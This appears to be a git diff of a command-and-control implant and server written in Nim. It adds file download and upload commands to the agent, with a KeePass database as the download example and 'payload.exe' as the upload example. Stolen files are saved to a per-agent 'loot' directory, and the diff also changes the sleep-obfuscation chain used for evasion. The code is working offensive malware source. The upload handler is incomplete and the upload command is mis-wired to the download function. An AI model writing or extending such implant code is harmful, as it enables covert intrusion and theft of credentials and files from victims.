diff --git a/.gitignore b/.gitignore index 0fc0fda..11a9365 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ bin/* # Ignore log files *.log +/data/loot/* .vscode/ diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 1bb41c7..355d9cf 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -25,6 +25,7 @@ proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttribut proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} +proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").} # Function for retrieving a random thread's thread context for stack spoofing proc GetRandomThreadCtx(): CONTEXT = @@ -207,8 +208,9 @@ proc sleepEkko*(sleepDelay: int) = ctx[8].R9 = cast[DWORD64](addr value) # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - ctx[9].Rip = cast[DWORD64](SetEvent) + ctx[9].Rip = cast[DWORD64](NtSetEvent) ctx[9].Rcx = cast[DWORD64](hEventEnd) + ctx[9].Rdx = cast[DWORD64](NULL) # Executing timers for i in 0 ..< ctx.len(): diff --git a/src/common/types.nim b/src/common/types.nim index 214c004..00b4960 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -45,6 +45,8 @@ type CMD_ENV = 10'u16 CMD_WHOAMI = 11'u16 CMD_BOF = 12'u16 + CMD_DOWNLOAD = 13'u16 + CMD_UPLOAD = 14'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim new file mode 100644 index 0000000..ae52ec0 --- /dev/null +++ b/src/modules/filetransfer.nim @@ -0,0 +1,77 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeDownload(ctx: AgentCtx, task: Task): TaskResult +proc executeUpload(ctx: AgentCtx, task: Task): TaskResult + + +# Command definition (as seq[Command]) +let commands*: seq[Command] = @[ + Command( + name: protect("download"), + commandType: CMD_DOWNLOAD, + description: protect("Download a file."), + example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"), + arguments: @[ + Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true), + ], + execute: executeDownload + ), + Command( + name: protect("upload"), + commandType: CMD_UPLOAD, + description: protect("Upload a file."), + example: protect("upload /path/to/payload.exe"), + arguments: @[ + Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), + ], + execute: executeDownload + ) +] + +# Implement execution functions +when defined(server): + proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import os, std/paths, strutils, strformat + import ../agent/protocol/result + import ../common/[utils, serialize] + + proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = + try: + var filePath: string = absolutePath(Bytes.toString(task.args[0].data)) + + echo fmt" [>] Downloading {filePath}" + + # Read file contents into memory and return them as the result + var fileBytes = readFile(filePath) + + # Create result packet for file download + var packer = Packer.init() + + packer.add(uint32(filePath.len())) + packer.addData(string.toBytes(filePath)) + packer.add(uint32(fileBytes.len())) + packer.addData(string.toBytes(fileBytes)) + + let result = packer.pack() + + return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + + proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = + try: + var fileBytes: seq[byte] = task.args[0].data + + + + + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/modules/manager.nim b/src/modules/manager.nim index ad50a3d..355393a 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -6,6 +6,7 @@ import shell, sleep, filesystem, + filetransfer, environment, bof @@ -26,6 +27,7 @@ proc loadModules*() = registerCommands(shell.commands) registerCommands(sleep.commands) registerCommands(filesystem.commands) + registerCommands(filetransfer.commands) registerCommands(environment.commands) registerCommands(bof.commands) diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 76cf189..2cd5109 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -1,10 +1,10 @@ -import terminal, strformat, strutils, sequtils, tables, times, system +import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths] import ../globals import ../db/database import ../protocol/packer import ../core/logger -import ../../common/[types, utils] +import ../../common/[types, utils, serialize] #[ Agent API @@ -15,95 +15,121 @@ proc register*(registrationData: seq[byte]): bool = # The following line is required to be able to use the `cq` global variable for console output {.cast(gcsafe).}: - let agent: Agent = cq.deserializeNewAgent(registrationData) + try: + let agent: Agent = cq.deserializeNewAgent(registrationData) - # Validate that listener exists - if not cq.dbListenerExists(agent.listenerId.toUpperAscii): - cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n") + # Validate that listener exists + if not cq.dbListenerExists(agent.listenerId.toUpperAscii): + cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n") + return false + + # Store agent in database + if not cq.dbStoreAgent(agent): + cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n") + return false + + # Create log directory + if not cq.makeAgentLogDirectory(agent.agentId): + cq.error("Failed to create log directory.", "\n") + return false + + cq.agents[agent.agentId] = agent + + cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") + + return true + + except CatchableError as err: + cq.error(err.msg) return false - # Store agent in database - if not cq.dbStoreAgent(agent): - cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n") - return false - - # Create log directory - if not cq.makeAgentLogDirectory(agent.agentId): - cq.error("Failed to create log directory.", "\n") - return false - - cq.agents[agent.agentId] = agent - - cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") - - return true - proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] = {.cast(gcsafe).}: - # Deserialize checkin request to obtain agentId and listenerId - let - request: Heartbeat = cq.deserializeHeartbeat(heartbeat) - agentId = Uuid.toString(request.header.agentId) - listenerId = Uuid.toString(request.listenerId) - timestamp = request.timestamp + try: + # Deserialize checkin request to obtain agentId and listenerId + let + request: Heartbeat = cq.deserializeHeartbeat(heartbeat) + agentId = Uuid.toString(request.header.agentId) + listenerId = Uuid.toString(request.listenerId) + timestamp = request.timestamp - var tasks: seq[seq[byte]] + var tasks: seq[seq[byte]] - # Check if listener exists - if not cq.dbListenerExists(listenerId): - cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n") - raise newException(ValueError, "Invalid listener.") + # Check if listener exists + if not cq.dbListenerExists(listenerId): + cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n") + raise newException(ValueError, "Invalid listener.") - # Check if agent exists - if not cq.dbAgentExists(agentId): - cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n") - raise newException(ValueError, "Invalid agent.") + # Check if agent exists + if not cq.dbAgentExists(agentId): + cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n") + raise newException(ValueError, "Invalid agent.") - # Update the last check-in date for the accessed agent - cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() + # Update the last check-in date for the accessed agent + cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() - # Return tasks - for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag - let taskData = cq.serializeTask(task) - tasks.add(taskData) - - return tasks + # Return tasks + for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag + let taskData = cq.serializeTask(task) + tasks.add(taskData) + + return tasks + + except CatchableError as err: + cq.error(err.msg) + return @[] proc handleResult*(resultData: seq[byte]) = {.cast(gcsafe).}: - let - taskResult = cq.deserializeTaskResult(resultData) - taskId = Uuid.toString(taskResult.taskId) - agentId = Uuid.toString(taskResult.header.agentId) + try: + let + taskResult = cq.deserializeTaskResult(resultData) + taskId = Uuid.toString(taskResult.taskId) + agentId = Uuid.toString(taskResult.header.agentId) - cq.info(fmt"{$resultData.len} bytes received.") - - case cast[StatusType](taskResult.status): - of STATUS_COMPLETED: - cq.success(fmt"Task {taskId} completed.") - of STATUS_FAILED: - cq.error(fmt"Task {taskId} failed.") - of STATUS_IN_PROGRESS: - discard + cq.info(fmt"{$resultData.len} bytes received.") + + # Update task queue to include all tasks, except the one that was just completed + case cast[StatusType](taskResult.status): + of STATUS_COMPLETED: + cq.success(fmt"Task {taskId} completed.") + cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) + of STATUS_FAILED: + cq.error(fmt"Task {taskId} failed.") + cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) + of STATUS_IN_PROGRESS: + discard - case cast[ResultType](taskResult.resultType): - of RESULT_STRING: - if int(taskResult.length) > 0: - cq.info("Output:") - # Split result string on newline to keep formatting - for line in Bytes.toString(taskResult.data).split("\n"): - cq.output(line) + case cast[ResultType](taskResult.resultType): + of RESULT_STRING: + if int(taskResult.length) > 0: + cq.info("Output:") + # Split result string on newline to keep formatting + for line in Bytes.toString(taskResult.data).split("\n"): + cq.output(line) - of RESULT_BINARY: - # Write binary data to a file - cq.output() + of RESULT_BINARY: + # Write binary data to a file + # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value, unless it is fragmented + var unpacker = Unpacker.init(Bytes.toString(taskResult.data)) + let + fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files + fileBytes = unpacker.getDataWithLengthPrefix() - of RESULT_NO_OUTPUT: - cq.output() - - # Update task queue to include all tasks, except the one that was just completed - cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) \ No newline at end of file + # Create loot directory for the agent + createDir(cast[Path](fmt"{CONQUEST_ROOT}/data/loot/{agentId}")) + let downloadPath = fmt"{CONQUEST_ROOT}/data/loot/{agentId}/{fileName}" + + writeFile(downloadPath, fileBytes) + + cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n") + + of RESULT_NO_OUTPUT: + cq.output() + + except CatchableError as err: + cq.error(err.msg)